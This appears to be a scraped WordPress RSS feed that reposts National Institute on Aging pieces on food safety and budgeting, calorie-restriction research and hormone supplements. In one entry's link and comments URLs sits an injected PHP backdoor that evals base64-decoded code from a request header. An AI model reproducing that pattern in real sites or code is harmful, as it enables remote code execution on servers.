<p>As you get older, you can’t depend on sniffing or tasting food to tell if it has gone bad. Try putting dates on foods in your refrigerator. Check the “use by” date on foods. If in doubt, toss it out.</p>
<p><strong><em>Here’s a tip:</em></strong> Make sure food gets into the refrigerator no more than 2 hours after it is cooked—whether you made it yourself or brought it home from a restaurant.</p>
<h4 style="color: #17954b;">Can I Afford to Eat Right?</h4>
<p>If your budget is limited, it might take some thought and planning to be able to pay for the foods you should eat. Here are some suggestions. First, buy only the foods you need. A shopping list will help with that. Before shopping, plan your meals, and check your supply of staples like flour and cereal. Make sure you have some canned or frozen foods in case you do not feel like cooking or cannot go out. Powdered, canned, or ultra-pasteurized milk in a shelf carton can be stored easily.</p>
<p>Think about how much of a food you will use. A large size may be cheaper per unit, but it is only a bargain if you use all of it. Try to share large packages of food with a friend. Frozen vegetables in bags save money because you can use small amounts and keep the rest frozen. If a package of meat or fresh produce is too large, ask a store employee to repackage it in a smaller size.</p>
<p>Here are other ways to keep your food costs down:</p>
<ul>
<li>Plain (generic) labels or store brands often cost less than name brands.</li>
<li>Plan your meals around food that is on sale.</li>
<li>Prepare more of the foods you enjoy, and quickly refrigerate the leftovers to eat in a day or two.</li>
<li>Divide leftovers into small servings, label and date, and freeze to use within a few months.</li>
</ul>
<p>Food stamps from the Federal Government help people with low incomes buy groceries. You may be able to enjoy free or low-cost meals for older people at a community center, church, or school. This is a chance to eat good food and to be with other people. Home-delivered meals are available for people who are homebound. To learn more about these programs contact the Eldercare Locator listed under <em>For More Information</em> to find your local Area Agency on Aging.</p>
<h4 style="color: #17954b;">For More Information</h4>
<p>Here are some helpful resources.</p>
<p>To learn about the DASH diet:</p>
<p><strong>National Heart, Lung, and Blood Institute</strong><br />
Box 30105<br />
Bethesda, MD 20824-0105<br />
301-592-8573<br />
240-629-3255 (TTY)<br />
<a href="http://www.nhlbi.nih.gov/"><em>www.nhlbi.nih.gov</em></a></p>
<p>To learn more about nutrition, meal programs, or help with shopping:</p>
<p><strong>Eldercare Locator</strong><br />
800-677-1116 (toll-free)<br />
<a href="http://www.eldercare.gov/"><em>www.eldercare.gov</em></a></p>
<p><strong>Federal Government nutrition websites:</strong><br />
<a href="http://www.nutrition.gov/"><em>www.nutrition.gov</em></a> &#8212; learn more about healthy eating, food shopping, assistance programs, and nutrition-related health subjects<br />
<a href="http://www.healthierus.gov/"><em>www.healthierus.gov</em></a> – learn how to follow a healthier lifestyle<br />
<a href="http://www.mypyramid.gov/"><em>www.mypyramid.gov</em></a>– USDA MyPyramid Food Guide<br />
<a href="http://www.foodsafety.gov/"><em>www.foodsafety.gov</em></a> – learn more about how to cook and eat safely</p>
<p><strong>National Library of Medicine</strong><br />
MedlinePlus<br />
<em><a href="http://www.medlineplus.gov/">www.medlineplus.gov</a></em></p>
<p><strong>USDA Food and Nutrition Information Center</strong><br />
10301 Baltimore Avenue, Rm. 304<br />
Beltsville, MD 20705-2351<br />
301-504-5719<br />
<a href="http://www.nal.usda.gov/fnic"><em>www.nal.usda.gov/fnic</em></a></p>
<p>For more information on health and aging, contact:</p>
<p><strong>National Institute on Aging Information Center</strong><br />
P.O. Box 8057<br />
Gaithersburg, MD 20898-8057<br />
800-222-2225 (toll-free)<br />
800-222-4225 (TTY/toll-free)<em><br />
<a href="http://www.nia.nih.gov/">www.nia.nih.gov</a><br />
<a href="http://www.nia.nih.gov/Espanol">www.nia.nih.gov/Espanol</a></em></p>
<p>To sign up for regular email alerts about new publications and other information about the NIA, go to <a title="http://www.nia.nih.gov/HealthInformation" href="http://www.nia.nih.gov/HealthInformation"><em>www.nia.nih.gov/HealthInformation</em></a>.</p>
<p>Visit NIHSeniorHealth (<a title="http://www.nihseniorhealth.gov/" href="http://www.nihseniorhealth.gov/"><em>www.nihseniorhealth.gov</em></a>), a senior-friendly website from the National Institute on Aging and the National Library of Medicine. This website has health information for older adults. Special features make it simple to use. For example, you can click on a button to have the text read out loud or to make the type larger.</p>
<p><em>National Institute on Aging<br />
National Institutes of Health<br />
U.S. Department of Health and Human Services<br />
June 2008</em></p>
<p></span></p>
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		<title>Scientists Weigh Mechanisms, Effects of Calorie Restriction</title>
		<link>http://antiagingdiscoveries.com/2008/09/03/scientists-weigh-mechanisms-effects-of-calorie-restriction/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://antiagingdiscoveries.com/2008/09/03/scientists-weigh-mechanisms-effects-of-calorie-restriction/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Wed, 03 Sep 2008 14:47:52 +0000</pubDate>
		<dc:creator>admin</dc:creator>
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		<guid isPermaLink="false">http://antiagingdiscoveries.com/?p=38</guid>
		<description><![CDATA[Back in 1934, dust storms rolled across the Great Plains, Anything Goes premiered on Broadway, the New Deal was still new, and Bonnie and Clyde met their demise. During that year, too, scientists at Cornell University observed that lab rats fed a calorie-restricted diet had twice the lifespan of other rats. Those observations, reported the [...]]]></description>
				<content:encoded><![CDATA[<p class="soar"><img style="padding-right: 10px; float: left; padding-bottom: 10px;" src="http://www.nia.nih.gov/NR/rdonlyres/2C86F8C1-9574-40D3-873F-6AB8CC4F530C/8924/apple_scale.jpg" alt="apple on a scale" width="164" height="250" />Back in 1934, dust storms rolled across the Great Plains, <em>Anything Goes</em> premiered on Broadway, the New Deal was still new, and Bonnie and Clyde met their demise. During that year, too, scientists at Cornell University observed that lab rats fed a calorie-restricted diet had twice the lifespan of other rats. Those observations, reported the following year, launched a line of inquiry that continues to intrigue scientists today.</p>
<p class="soar">Now, more than 70 years later, a large body of research shows that a calorie-restricted diet, coupled with adequate nutrition, extends the lifespans of protozoa, yeast, worms, spiders, flies, and rodents. Research also suggests that calorie-restricted animals, including primates, tend to be more resistant to age-related chronic diseases, and that restricting calories while maintaining sufficient nutrient levels is associated with lower cholesterol, serum glucose, and blood pressure levels.</p>
<p class="soar">Still open to debate, though, are the reasons why calorie restriction (CR) boosts longevity in some animals and lower organisms, and the effects of this less-is-more approach to energy consumption in humans. Confirming CR’s effects and pinpointing the mechanism—or mechanisms—through which CR promotes longevity remain scientific goals, and NIA investigators and grantees working in this niche of aging research are actively searching for answers.</p>
<p class="soar">“Calorie restriction remained a black box for many years, and only in the past 5 years have we begun to get a handle on the box’s contents,” says Felipe Sierra, Ph.D., director of NIA’s Biology of Aging Program. “NIA is very interested in calorie restriction and is funding a wide variety of research in this area. Our goal is to examine the relationship of CR to healthy aging and disease. We’re not necessarily trying to find ways for people to live very long lives, but to find ways to improve health so they can live better in their later years.”</p>
<p class="subsection">Deciphering the mechanisms behind CR</p>
<p class="soar">Although scientists have been studying CR for years, only recently have they begun to decipher the cellular and molecular mechanisms that may mediate its positive effects. Elucidation of these mechanisms, many believe, offers hope for advancing understanding of aging processes. Ultimately, it also could help scientists identify drug targets or one day develop gene therapies or other interventions to prevent and treat some of the most prevalent aging-related diseases.</p>
<p class="soar">“We need to study the mechanisms and the relationships among them so we can learn more about the process of aging. This may help us identify interventions that act like calorie restriction without actually restricting diet,” Sierra says.</p>
<div class="image_w_cap" style="float: right; width: 130px;"><img class="image" src="http://www.nia.nih.gov/NR/rdonlyres/2C86F8C1-9574-40D3-873F-6AB8CC4F530C/8936/rafael_de_cabo.jpg" alt="Dr. Rafael de Cabo" width="130" height="191" /></p>
<div class="caption">Dr. Rafael de Cabo, NIA Laboratory of Experimental Gerontology</div>
</div>
<p class="soar">A review of recently published CR-related research illustrates the wide range of mechanisms—from expression of genes known as sirtuins to involvement of insulin signaling pathways—that are currently under investigation, notes Rafael de Cabo, Ph.D., head of the Aging, Metabolism, and Nutrition Unit in NIA’s Laboratory of Experimental Gerontology (LEG). His unit’s bench and rodent experiments focus on identifying potentially protective mechanisms invoked by CR and on evaluating the consequences of dietary interventions on lifespan, pathology, and behavioral function. The lab team also works closely with NIA grantees on CR-related studies.</p>
<p class="soar">Recently, for example, a research team including de Cabo and David Sinclair, Ph.D., of Harvard Medical School, discovered in mice that two sirtuin genes, SIRT3 and SIRT4, influence the stability of mitochondria, structures within cells that convert nutrients into energy-yielding molecules and play a role in cell survival. They observed that a gene called NAMPT is activated in calorically restricted cells, resulting in accumulation of NAD+ molecules, which are needed for many metabolic processes. This accumulation, in turn, causes enzymes created by the SIRT3 and SIRT4 genes in the mitochondria to increase, slowing the cell’s aging process.</p>
<p class="soar"><a title="The findings in Cell provide clues to cell survival in mammals following the stress brought on by CR." href="http://download.cell.com/pdfs/0092-8674/PIIS0092867407009737.pdf" target="_blank">The findings</a> (PDF, 1.1M), reported September 21, 2007, in <em>Cell</em>, provide clues to cell survival in mammals following the stress brought on by CR, and have potential implications for longevity and aging-associated diseases such as cancer, diabetes, and neurodegenerative diseases such as Alzheimer’s disease.</p>
<p class="soar">With each bit of knowledge gained, de Cabo says, investigators are edging closer to understanding at the most basic level why CR may protect against disease and increase longevity. Complementing these efforts, NIA investigators and grantees are searching for mimetics—compounds that mimic the protective cellular effects that appear to occur with restricted energy intake. For example, resveratrol—a natural compound found in grapes, red wine, and nuts—has been shown to improve <a href="http://www.nia.nih.gov/NewsAndEvents/PressReleases/PR20061101Resveratrol.htm" target="_blank">health and survival in overweight, aged mice.</a> Similar research is now underway in monkeys in a recently launched, 2-year controlled trial at NIA.</p>
<p class="subsection">Studies in nonhuman primates ongoing</p>
<p class="soar">While NIA investigators and grantees continue to probe the mechanisms behind CR, for the past two decades NIA LEG researchers and colleagues at the University of Wisconsin have been studying CR’s effects on mortality, morbidity, and function in nonhuman primates.</p>
<p class="soar">NIA&#8217;s Intramural <a title="The NIA Primate Aging Study" href="http://www.grc.nia.nih.gov/branches/leg/paf.htm" target="_blank">Primate Aging Study</a>, begun in 1987, currently includes 80 healthy rhesus monkeys that ranged in age from 1 to 23 years when they entered the study, as well as a smaller group of squirrel monkeys. The experimental CR and control groups are fed the same mix of nutrient-rich foods, but the CR group is given 30 percent fewer calories than the age- and weight-matched controls.</p>
<div class="image_w_cap" style="float: right; width: 130px;"><img class="image" src="http://www.nia.nih.gov/NR/rdonlyres/2C86F8C1-9574-40D3-873F-6AB8CC4F530C/8928/julie_mattison.jpg" alt="Dr. Julie Mattison" width="130" height="191" /></p>
<div class="caption">Dr. Julie A. Mattison, NIA Primate Aging Study</div>
</div>
<p class="soar">“Monkey studies are incredibly valuable because they’re the closest we can come to human studies,” says Julie Mattison, Ph.D., facility head of NIA’s nonhuman primate program. “Rhesus monkeys are a great model for studying calorie restriction and the mechanisms of aging because they age at a rate about three times that of humans, are genetically close to humans, and get many of the age-related diseases seen in humans.”</p>
<p class="soar">Thus far, the physiological effects of CR seen in these primate studies are generally comparable to those seen in rodent studies. For example, compared with free-feeding monkeys, the CR monkeys have lower body weight, less abdominal fat, lower fasting glucose levels, increased insulin sensitivity, lower systolic blood pressure, lower levels of serum triglycerides, and higher HDL levels—all markers associated with reduced risk of age-associated diseases. The CR monkeys also show improved immune response and less severe response to induced inflammation.</p>
<p class="soar">Although it is not yet known if CR extends the lifespan of nonhuman primates, the findings emerging from these studies are encouraging, showing that calorie-restricted monkeys have a lower incidence and less severe effects of age-related diseases, particularly cardiovascular disease and diabetes. Recently launched studies also are examining the effects of CR on the monkeys’ behavior, motor skills, learning and memory, macular degeneration, reproductive health, hearing, and osteoarthritis.</p>
<p class="soar">“As the monkeys approach older age, we’ll learn more about the long-term effects of CR and possible mechanisms that regulate these effects,” Mattison says.</p>
<p class="subsection">Human trial begins</p>
<p class="soar">Recently, NIA extended its CR research one step further when the Institute awarded funding for the first randomized, controlled trial to assess the effects of CR in humans—the <a title="Comprehensive Assessment of Long-Term  Effects of Reducing Intake of Energy (CALERIE) study" href="http://calerie.dcri.duke.edu/" target="_blank">Comprehensive Assessment of Long-Term Effects of Reducing Intake of Energy (CALERIE) study</a>. Before the CALERIE pilot studies began, all well-controlled investigations into CR’s effects had been in lower organisms and animals other than humans.</p>
<p class="soar">Studying this dietary practice in humans is different from studying it in animals, points out Sergei Romashkan, M.D., Ph.D, chief of the Clinical Trials Branch in NIA’s Geriatrics and Clinical Gerontology Program. “Unlike animals kept in a lab, humans can choose to eat when and what they want,” Romashkan says. “The CALERIE study will help us to understand the adaptive physiologic and metabolic changes that have been observed in animal studies and to learn whether humans can sustain a nutrient-rich, calorie-restricted diet over time. It also will help us to learn about the safety of calorie restriction.”</p>
<p class="soar">CALERIE began in 2002 with pilot studies at three sites: Pennington Biomedical Research Center in Baton Rouge, Tufts University in Boston, and Washington University in St. Louis. This small-scale research compared the outcomes of varying levels of CR, exercise regimens designed to produce an energy deficit equivalent to that seen with CR, and a healthy lifestyle control intervention. Each of the pilot studies involved 48 volunteers.</p>
<p class="soar">The pilot studies showed that after 1 year, depending on the protocol, volunteers in the CR or exercise arms had lower fasting glucose, total cholesterol, core body temperature, body weight, and visceral fat. The CR and exercise groups also had increased expression of genes encoding proteins involved in mitochondrial function and reduced DNA damage.</p>
<p class="soar">The full-scale, 5-year CALERIE study, launched in early 2007, involves 250 healthy volunteers ages 25 to 45, who are assigned to either a CR intervention or a control group. During a 2-year period, participants in the intervention group will reduce their baseline calorie consumption by 25 percent, while the control group members will continue their usual diets.</p>
<p class="soar">The researchers will measure a range of outcomes, from insulin and glucose metabolism to oxidative cellular and DNA damage, muscle strength, and cognition. They will also amass a repository of blood, urine, and tissue samples that will be available to investigators studying oxidative damage in cells and molecular mechanisms associated with CR.</p>
<p class="soar">“The CALERIE study will let us look at the feasibility of such a diet and whether sustained calorie restriction in healthy men and women results in the same adaptive changes that occur in rodents subjected to CR and how CR may affect markers of diseases associated with aging,” Romashkan says. Because the study timeframe is 2 years, the analyses will not show whether CR can extend human lifespan, he notes.</p>
<p class="soar">Whether they are studying the cellular and molecular mechanisms behind CR’s effects or assessing the impact of CR on the health and longevity of lower organisms, animals, or humans, many scientists believe that progress is being made. “This field is extremely exciting, and many of us are coming to the same conclusions about the pathways that are being activated,” says NIA’s de Cabo. “In the next 5 to 10 years, we may make important strides toward designing compounds to emulate CR’s effects.”</p>
<p class="soar"><span id="RadEditorPlaceHolderControl1">National Institute on Aging | http://www.nia.nih.gov<br />
</span></p>
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		<title>Can We Prevent Aging?</title>
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		<pubDate>Wed, 03 Sep 2008 14:36:46 +0000</pubDate>
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				<category><![CDATA[Anti Aging]]></category>
		<category><![CDATA[Active Life]]></category>
		<category><![CDATA[Average Life Expectancy]]></category>
		<category><![CDATA[Calorie Restriction]]></category>
		<category><![CDATA[Chemical Messengers]]></category>
		<category><![CDATA[Dietary Approaches]]></category>
		<category><![CDATA[Glands]]></category>
		<category><![CDATA[Greek Word]]></category>
		<category><![CDATA[Growth Hormones]]></category>
		<category><![CDATA[Healthy Aging]]></category>
		<category><![CDATA[Healthy Eating]]></category>
		<category><![CDATA[Hormone Supplements]]></category>
		<category><![CDATA[Immune Function]]></category>
		<category><![CDATA[National Institutes Of Health]]></category>
		<category><![CDATA[National Institutes Of Health Nih]]></category>
		<category><![CDATA[Ovaries]]></category>
		<category><![CDATA[Physical Activity]]></category>
		<category><![CDATA[Physical Decline]]></category>
		<category><![CDATA[Reproduction And Growth]]></category>
		<category><![CDATA[Sexual Reproduction]]></category>
		<category><![CDATA[Tip Sheet]]></category>

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		<description><![CDATA[People are living longer. In 1970, the average life expectancy at birth was 70.8 years; in 2000, it was 76.9 years; and by 2030 is it estimated that the “oldest-old,” age 85 and older, could grow to 10 million people. Views on aging are also changing. It no longer necessarily means physical decline and illness—in [...]]]></description>
				<content:encoded><![CDATA[<p><span id="RadEditorPlaceHolderControl1">People are living longer. In 1970, the average life expectancy at birth was 70.8 years; in 2000, it was 76.9 years; and by 2030 is it estimated that the “oldest-old,” age 85 and older, could grow to 10 million people.</span></p>
<p>Views on aging are also changing. It no longer necessarily means physical decline and illness—in the last two decades, the rate of disability among older people has declined dramatically.</p>
<p>The National Institute on Aging (NIA), part of the Federal Government’s National Institutes of Health (NIH), investigates ways to support healthy aging and prevent or delay the onset of diseases that disproportionately affect us as we age. These studies not only may increase what is known as “active life expectancy”—the time of advancing years free of disability—but also may promote longevity. NIA’s research includes hormone and dietary approaches, including calorie restriction.</p>
<p>Results from NIA-sponsored studies and others are likely to improve our understanding of the benefits and risks of hormone supplements, calorie restriction, and other interventions to promote healthy aging. This tip sheet provides an overview of what we know about hormone supplements and calorie restriction and the research needed to learn more. Until we have a better understanding, it is a good idea to be skeptical of claims that hormone or other supplements can solve your age-related problems. Instead, focus on what is known to help promote healthy aging: healthy eating and physical activity.</p>
<h4 style="color: #339999;">What Is a Hormone?</h4>
<p>The word “hormone” comes from the Greek word, hormo, meaning to set in motion. Hormones are chemical messengers that set in motion different processes to keep our bodies working properly. For example, they are involved in our metabolism, immune function, sexual reproduction, and growth. Hormones are made by specialized groups of cells within the body’s glands. The glands—such as the pituitary, thyroid, adrenals, ovaries, and testes—release hormones into the body as needed to stimulate, regulate, and control the function of other various tissues and organs involved in biological processes.</p>
<p>We cannot survive without hormones. As children, hormones help us “grow up.” In teenagers, they drive puberty. As we get older, some of our hormone levels naturally decline. But what does that mean? Scientists do not know exactly. In order to know more, NIA investigates how replenishing hormones in older people affects frailty and function. Many of these studies focus on hormones that decline with age, including:</p>
<ul>
<li>Growth hormone</li>
<li>Melatonin</li>
<li>Dehydroepiandrosterone (DHEA)</li>
<li>Testosterone</li>
<li>Estrogen and progesterone (as part of menopausal hormone therapy)</li>
</ul>
<h4 style="color: #339999;">How Hormones Work</h4>
<p>Most hormones are typically found in very low concentrations in the bloodstream. But a hormone’s concentration will fluctuate depending on the body’s activity. Like a key that unlocks a door, a hormone molecule is released by a gland and travels through the blood until it finds a cell with the right fit, a “receptor.” The hormone latches onto a cell’s receptor and a signal is sent into the cell. These signals may instruct the cell to multiply, make proteins or enzymes, or perform other vital tasks. Some hormones can even cause a cell to release other hormones.</p>
<p>One hormone may fit with many types of cells but may not affect all cells in the same way. For example, one hormone may stimulate one cell to perform a task but it might also turn off a different cell. Additionally, how a cell responds to a hormone may change throughout life.</p>
<h4 style="color: #339999;">Hormone Supplements</h4>
<p>Levels of some hormones change naturally over the lifespan. Some hormones increase with age, like parathyroid hormone that helps regulate the amount of calcium in the blood and bone. Some tend to decrease over time, such as testosterone in men and estrogen in women. When the body fails to make enough of a hormone because of a disease or disorder, a doctor may prescribe hormone supplements. As opposed to hormones produced naturally by the body, hormone supplements come in many forms such as pills, shots, topical (rub-on) gels, and medicated skin patches.</p>
<p>You may have read magazine articles or seen television segments suggesting that hormone supplements can make people feel young again or can slow or prevent aging. That’s because finding a “fountain of youth” is an attractive story that captivates us all. The truth is no research to date has shown that hormone supplements add years to life or prevent age-related frailty. And, while some supplements have real health benefits for people with clinical hormone deficiencies due to a disease or disorder, they also can cause harmful side effects. That’s why people who have a diagnosed hormone deficiency should still only take hormone supplements under a doctor’s supervision.</p>
<p>In some cases, the U.S. Food and Drug Administration (FDA) may have approved a hormone supplement for one purpose, but it is prescribed by physicians for another. This “off-label” use may occur when physicians believe that research, such as clinical studies done on other groups of people, demonstrates a supplement’s usefulness for another condition. While this is the normal process for evaluating drugs already approved by the FDA, consumers should be aware that a particular off-label use of a drug may not have been tested and verified to the same degree as the original use of the drug.</p>
<h4 style="color: #339999;">Dangers of Hormone Supplements</h4>
<p>Higher concentrations of hormones in your body are not necessarily better. The body maintains a delicate balance between how much hormone it produces and how much it needs to function properly. Natural hormone production fluctuates throughout the day. That means that the amount of hormone in your blood when you wake up may be different 2, 12, or 20 hours later.</p>
<p>If you take hormone supplements, especially without medical supervision, you can adversely affect this tightly controlled, regulated system. Hormone supplements cannot replicate your body’s natural variation. Because hormonal balance is so intricate, too much of a hormone in your system may actually cause the opposite of your intended effect. For example, taking a hormone supplement can cause your own hormone regulation to stop working. Or, your body may process the supplements differently than the naturally produced hormone, causing an alternate, undesired effect. It is also possible that a supplement could amplify negative side effects of the hormone naturally produced by the body. Scientists may not know the consequences.</p>
<p>Some hormone-like products are sold over-the-counter without a prescription. Self-medicating with them can be dangerous. Products that are marketed as dietary supplements are not regulated by the FDA. This means that companies making dietary supplements do not need to get FDA approval or provide any proof that their products are safe and effective before selling them. There is no guarantee that the “recommended” dosage is safe, that there is the same amount of active ingredients in every bottle, or that the substance is what the company claims. Because there are no standards, the hormone-like dietary supplements sold over-the-counter may not have been thoroughly studied and potential negative side effects may not be understood or defined. In addition, these over-the-counter products may interfere with your other medications. NIA does not recommend taking any supplement touted as an “anti-aging” remedy because there is no proof of effectiveness and the health risks of short and long-term use are unknown.</p>
<h4 style="color: #339999;">Human Growth Hormone</h4>
<p>Human growth hormone (hGH) is important for normal growth and development, as well as for maintaining tissues and organs. It is made by the pituitary gland, a pea-sized structure located at the base of the brain.</p>
<p>Research supports supplemental use of hGH injections in certain circumstances. For instance, hGH injections can improve the growth of children who do not produce enough hGH. Sometimes hGH injections may be prescribed for young adults whose obesity is the result of having had their pituitary gland surgically removed. These uses are different from taking hGH as an anti-aging strategy. As with other hormones, hGH levels often decline with age, but this decrease is not necessarily bad. At least one epidemiological study suggests that people who have high levels of hGH are more apt to die at younger ages than those with lower levels of the hormone. Researchers have also studied animals with genetic disorders that suppress growth hormone production and secretion and found reduced growth hormone secretion may actually promote longevity in those species that have been tested.</p>
<p>Although there is no conclusive evidence that hGH can prevent aging or halt age-related physical decline, some clinics market hGH for that purpose and some people spend a great deal of money on such supplements. Shots can cost more than $15,000 a year. These shots are only available by prescription and should be administered by a doctor. But, because of the unknown risks, it is hard to find a doctor who will prescribe hGH shots. Over-the-counter dietary supplements, known as human growth hormone releasers, are currently being marketed as low-cost alternatives to hGH shots. But claims of their anti-aging effects, like all those regarding hGH, are unsubstantiated.</p>
<p>Research is starting to paint a fuller picture of the effects of hGH supplements, but there is still much to learn. For instance, study findings indicate that supplemental hGH can increase muscle mass; however, it seems to have little impact on muscle strength or function. Questions about potential side effects, such as diabetes, joint pain, and fluid build-up leading to high blood pressure or heart failure remain unanswered, too. A recent report that children who were treated with pituitary growth hormone have an increased risk of cancer created a heightened concern about the dangers of hGH injections. Whether or not older people treated with hGH for extended periods have an increased risk of cancer is unknown. To date, only small, short-term studies have looked specifically at hGH as an anti-aging therapy for older people. Before supporting the use of hGH as an anti-aging therapy, the potential benefits and risks should be assessed through additional research.</p>
<h4 style="color: #339999;">Melatonin</h4>
<p>Melatonin is a hormone involved with our daily sleep/wake cycle. It is made by the pineal gland located in the brain. Despite some claims to the contrary, melatonin production and release does not necessarily decrease with age. Instead, a number of factors, including light exposure and use of some common medications can affect melatonin secretion in people of any age.</p>
<p>As with other hormones, melatonin is marketed as a dietary supplement. Consumers should look with caution at claims about melatonin supplements’ effects.</p>
<p>One claim for melatonin supplements is that they are an anti-aging remedy, but research on the anti-aging effects has been very limited and focused on animals, not humans. There are also claims that melatonin helps with sleep. Research findings have shown that melatonin supplements, in amounts ranging from 0.1 to 0.5 milligrams, can improve sleep in some cases; however, if taken at the wrong time, melatonin can actually disrupt the sleep/wake cycle. And, melatonin’s benefits as an antioxidant have been touted. Antioxidants protect the body from the harmful effects of by-products, known as free radicals, made when the body changes oxygen and food into energy. Early test-tube studies suggested that, in large doses, melatonin might be an effective antioxidant. More research is needed to know if using melatonin supplements as an antioxidant will decrease the amount of antioxidants cells produce naturally.</p>
<p>Side effects of melatonin supplements may include confusion, drowsiness, and headache. Animal studies suggest that melatonin may cause some blood vessels to constrict, a condition that could be dangerous for people with high blood pressure or other cardiovascular problems.</p>
<p>The usual dose of melatonin sold without a prescription in stores is 3 milligrams. This dose is much larger than the 0.1 to 0.5 milligrams of melatonin researchers used to study its effects on sleep. People who take these supplements may have a 10- to 40-times higher blood concentration of melatonin than normal. Long-term effects of such high concentrations of melatonin on the body are still unknown. Use caution when considering taking these supplements until researchers learn more.</p>
<h4 style="color: #339999;">DHEA</h4>
<p>Dehydroepiandrosterone, or DHEA, is made from cholesterol by the adrenal glands, which sit on top of each kidney. It is converted by the body into two other important hormones: testosterone and estrogen.</p>
<p>For most people, DHEA production peaks in the mid-20s and then gradually declines with age. The effects of this decline including its role in the aging process are unclear. Even so, some proponents claim that over-the-counter DHEA supplements can improve energy and strength and boost immunity. Claims are also made that supplements increase muscle and decrease fat. To date, there is no conclusive scientific evidence that DHEA supplements have any of these benefits.</p>
<p>The conversion of naturally produced DHEA into a different amount of estrogen and testosterone is highly individualized. There is no way to predict whose body will make more and whose will make less of these hormones. Having an excess of testosterone and estrogen in your body can be risky.</p>
<p>Scientists do not yet know the effects of long-term use (over 1 year) of DHEA supplements. Early indications are that these supplements, even when taken briefly, may have several detrimental effects on the body, including liver damage. But the picture is not clear. Two short-term studies showed that taking DHEA supplements has no harmful effects on blood, prostate, or liver function. However, these studies were too small to lead to conclusions about the safety or efficacy of DHEA supplementation.</p>
<p>Researchers are working to find more definite answers about DHEA’s effects on aging, muscles, and the immune system. In the meantime, if you are thinking about taking DHEA supplements, be aware that the effects are not fully known and might turn out to cause more harm than good.</p>
<h4 style="color: #339999;">Testosterone</h4>
<p>Most people know testosterone as the hormone that transforms a boy into a man and is somehow associated with sex drive. That may be why some men are concerned about a possible decrease in testosterone production as they age.</p>
<p>Testosterone is a vital sex hormone that plays an important role in puberty. In men, testosterone not only regulates sex drive (libido), it also helps regulate bone mass, fat distribution, muscle mass and strength, and the production of red blood cells and sperm. But testosterone isn’t exclusively a male hormone—women produce small amounts, as well. In men, testosterone is produced in the testes, the reproductive glands that also produce sperm. The amount of testosterone produced in the testes is regulated by the hypothalamus and the pituitary gland.</p>
<p>As men age, their testes often produce somewhat less testosterone, especially when compared to years of peak testosterone production during adolescence and early adulthood. Normal testosterone production ranges widely, and it is unclear what amount of decline or how low a level of testosterone will cause adverse effects.</p>
<p>In recent years, the popular press has reported frequently about male menopause, a condition supposedly caused by diminishing testosterone levels in aging men. There is scant scientific evidence that this condition, also known as andropause or viropause, exists. And the like-lihood that an aging man will experience a major shutdown of testosterone production similar to a woman’s menopause is very remote. In fact, many of the changes that take place in older men often are incorrectly attributed to decreasing testosterone levels. For instance, some men experiencing erectile difficulty (impotence) may be tempted to blame it on lowered testosterone, when in many cases erectile problems are due to circulatory problems.</p>
<p>In certain cases, such as in men whose bodies make very little or no testosterone, testosterone supplementation may offer benefits. FDA-approved testosterone supplements come in different forms, including patches, injections, and topical gels. Men whose testes have been damaged or whose pituitary glands have been harmed or destroyed by trauma, infections, or tumors may be prescribed testosterone. Supplements can also help men with exceptionally low testosterone levels maintain strong muscles and bones and increase their sex drive. It is unclear if men who are at the lower end of the normal range for testosterone production would benefit from supplementation.</p>
<p>More research is needed to learn what effects testosterone replacement may have in healthy older men without these extreme deficiencies. NIA is investigating the role of testosterone therapy in delaying or preventing frailty and helping with other age-related health issues. Results from preliminary studies involving small groups of men have been inconclusive. Specifically, it remains unclear to what degree testosterone supplements can help men maintain strong muscles and sturdy bones, sustain robust sexual activity, or sharpen memory.</p>
<p>There are also concerns about the long-term harmful effects that supplemental testosterone might have on the aging body. Some epidemiologic studies suggest that higher natural levels of testosterone are not associated with a higher incidence of prostate cancer—the second leading cause of cancer death among men. However, scientists do not know if taking supplemental testosterone increases men’s risk for developing prostate cancer or promoting the growth of an existing tumor. There is also concern about a potential increased risk for stroke based on studies that suggest that testosterone supplementation might trigger excessive red blood cell production, which thickens the blood.</p>
<p>The bottom line: Although some older men who use testosterone therapy may report feeling more energetic or younger, there is no scientific proof that testosterone therapy in healthy men will help them age better. Until more scientifically rigorous studies are conducted, it is not known if the possible benefits of testosterone therapy outweigh any of its potential risks. NIA continues to conduct research to gather more evidence about the effects of testosterone supplements in aging men.</p>
<h4 style="color: #339999;">Hormones in Women</h4>
<p>Estrogen and progesterone are two hormones that play an important part in women’s menstrual cycle and pregnancy. Estrogen also helps maintain bone strength and might prevent heart disease and protect memory before menopause. Both estrogen and progesterone are produced naturally by the ovaries. However, after menopause, the ovaries stop making these hormones. For more than 60 years, millions of women have used estrogen supplements to control for menopausal symptoms, especially hot flashes and vaginal dryness. Women also take it to prevent or treat osteoporosis—loss of bone strength—that often happens after menopause. The use of estrogen (by women whose uterus has been removed) or estrogen with progesterone or a progestin, a synthetic form of progesterone (by women with a uterus), to treat the symptoms of menopause is called menopausal hormone therapy (MHT), formerly known as hormone replacement therapy (HRT).</p>
<p>There is a rich research base investigating estrogen. Many large, reliable long-term studies of estrogen and its effects on the body have been conducted. Yet, much remains unknown. In fact, the history of estrogen research demonstrates why it is important to examine both the benefits and risks of a hormone before it becomes widely used. Here’s what scientists know:</p>
<ul>
<li><strong>Endometrial problems</strong>—While estrogen helps some women with symptom management during and after menopause, it can raise the risk of certain problems. Estrogen may cause a thickening of the lining of the uterus (endometrium) and a slightly increased risk of endometrial cancer. To lessen these risks, doctors now prescribe progestin to women with a uterus to protect the lining.</li>
<li><strong>Heart disease</strong>—The role of estrogen in heart disease is complex. Early studies suggested MHT could lower postmenopausal women’s risk for heart disease—the number one killer of women in the United States. But results from the Women’s Health Initiative (WHI), a study of MHT by the NIH, suggest that using estrogen with or without a progestin after menopause does not protect women from heart disease and may even increase their risk.In 2002, WHI scientists reported that using estrogen plus progestin actually elevates some postmenopausal women’s chance of developing heart disease, stroke, blood clots, and breast cancer, but women also experienced fewer hip fractures and cases of colorectal cancer. In 2004, WHI scientists published another report, this time on postmenopausal women who used estrogen alone, which had some similar findings: women had an increased risk of stroke and blood clots, but fewer hip fractures. Then, in 2007, a closer analysis of the WHI results indicated that younger women, ages 50 to 59 at the start of the trial, who used estrogen alone had significantly less plaque in their coronary arteries than women not using estrogen. Increased plaque in coronary arteries is a risk factor for heart attacks. Scientists also determined that the risk of heart attack might not be increased in women who started MHT less than 10 years after menopause, but that there is increasing risk in women who begin MHT more than 10 years after menopause.</li>
